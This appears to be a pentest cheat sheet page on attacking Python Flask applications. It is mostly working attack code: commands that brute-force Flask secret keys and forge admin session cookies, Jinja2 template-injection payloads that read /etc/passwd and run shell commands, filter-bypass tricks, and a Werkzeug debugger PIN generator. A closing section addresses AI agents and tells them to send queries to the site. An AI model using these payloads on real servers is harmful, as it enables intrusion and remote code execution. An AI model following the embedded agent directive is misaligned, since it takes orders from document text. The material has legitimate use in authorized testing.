# Flask

Python Flask application security testing - cookie manipulation, SSTI, debug mode exploitation.

## Cookie/Session Attacks

### Flask-Unsign

```bash
# Install
pip3 install flask-unsign

# Decode session cookie
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

# Decode from server response
flask-unsign --decode --server 'https://target.com/login'

# Bruteforce secret key
flask-unsign --unsign --cookie 'eyJ...' --wordlist /usr/share/wordlists/rockyou.txt

# Sign new cookie (after obtaining secret)
flask-unsign --sign --cookie "{'logged_in': True, 'user': 'admin'}" --secret 'CHANGEME'

# Common Flask secret keys to try:
# secret, secretkey, password, changeme, development, devkey
```

### Cookie Structure

```python
# Flask cookies are: base64(payload) + '.' + timestamp + '.' + signature
# Timestamp is 31-bit Unix epoch
# Signature is HMAC-SHA1

# Decode manually
import base64, zlib
cookie = "eyJ..."
payload = base64.urlsafe_b64decode(cookie.split('.')[0] + '==')
print(zlib.decompress(payload))  # If compressed
```

## Server-Side Template Injection (SSTI)

### Detection

```python
# Test for Jinja2 SSTI
{{7*7}}              # Returns: 49
{{config}}           # Returns Flask config
{{self}}             # Returns TemplateReference
${7*7}               # Alternative syntax
```

### Information Disclosure

```python
# Dump configuration
{{config}}
{{config.items()}}

# Access request object
{{request}}
{{request.environ}}
{{request.args}}
{{request.cookies}}
{{request.headers}}

# URL helpers (may reveal routes)
{{url_for.__globals__}}
```

### File Read

```python
# Read files via builtins
{{url_for.__globals__['__builtins__'].open('/etc/passwd').read()}}

# Alternative path
{{request.application.__self__._get_data_for_json.__globals__['__builtins__']['open']('/etc/passwd').read()}}

# Via cycler
{{cycler.__init__.__globals__.os.popen('cat /etc/passwd').read()}}
```

### Remote Code Execution

```python
# Basic RCE
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

# Via lipsum
{{lipsum.__globals__['os'].popen('whoami').read()}}

# Via cycler
{{cycler.__init__.__globals__.os.popen('id').read()}}

# Via joiner
{{joiner.__init__.__globals__.os.popen('id').read()}}

# Import os module
{{request['application']['__globals__']['__builtins__']['__import__']('os').popen('id').read()}}
```

### Filter Bypass

```python
# Bypass _ filter
{{request|attr('class')}}  # Same as request.__class__
{{request|attr('\x5f\x5fclass\x5f\x5f')}}

# Bypass . filter
{{request['__class__']}}
{{request|attr('application')|attr('__globals__')}}

# Bypass quotes
{{request|attr(request.args.a)}}&a=__class__

# Hex encoding
{{''['\x5f\x5fclass\x5f\x5f']}}
```

## Debug Mode Exploitation

### Werkzeug Debugger

```bash
# If debug=True, check for debugger console
/console

# PIN is derived from:
# - username (www-data, flask, etc.)
# - modname (flask.app)
# - getattr(app, '__name__', app.__class__.__name__)
# - getattr(mod, '__file__', None)
# - str(uuid.getnode()) - MAC address
# - get_machine_id()

# Generate PIN (requires LFI first)
# Get machine-id
cat /etc/machine-id
cat /proc/sys/kernel/random/boot_id

# Get MAC address
cat /sys/class/net/eth0/address
# Convert: 02:42:ac:11:00:02 → 2485377892354
```

### PIN Calculation

```python
import hashlib
from itertools import chain

# Values obtained via LFI
probably_public_bits = [
    'www-data',  # username
    'flask.app',  # modname
    'Flask',  # getattr(app, '__name__')
    '/usr/local/lib/python3.8/dist-packages/flask/app.py'  # getattr(mod, '__file__')
]

private_bits = [
    '2485377892354',  # str(uuid.getnode()) - MAC as decimal
    'machine-id-here'  # machine-id + cgroup
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

print(f"PIN: {num}")
```

## Common Endpoints

```bash
# Admin/debug endpoints
/admin
/console
/debug
/api
/swagger
/api/docs

# Common routes
/login
/register
/user/<id>
/static/<path>
```

## Tools

```bash
# SSTImap
# https://github.com/AhmedMohamedDev/SSTImap
python3 sstimap.py -u "https://target.com/?name=*"

# Tplmap
# https://github.com/AhmedMohamedDev/tplmap
python tplmap.py -u "https://target.com/?name=*"

# Flask-Unsign
pip3 install flask-unsign
```

## Related Topics

* [SSTI](/enumeration/web/ssti.md) - Server-side template injection
* [LFI/RFI](/enumeration/web/lfi-rfi.md) - For reading files to calculate PIN
* [Deserialization](/enumeration/web/deserialization.md) - Python pickle attacks


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentest-book.com/enumeration/webservices/flask.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
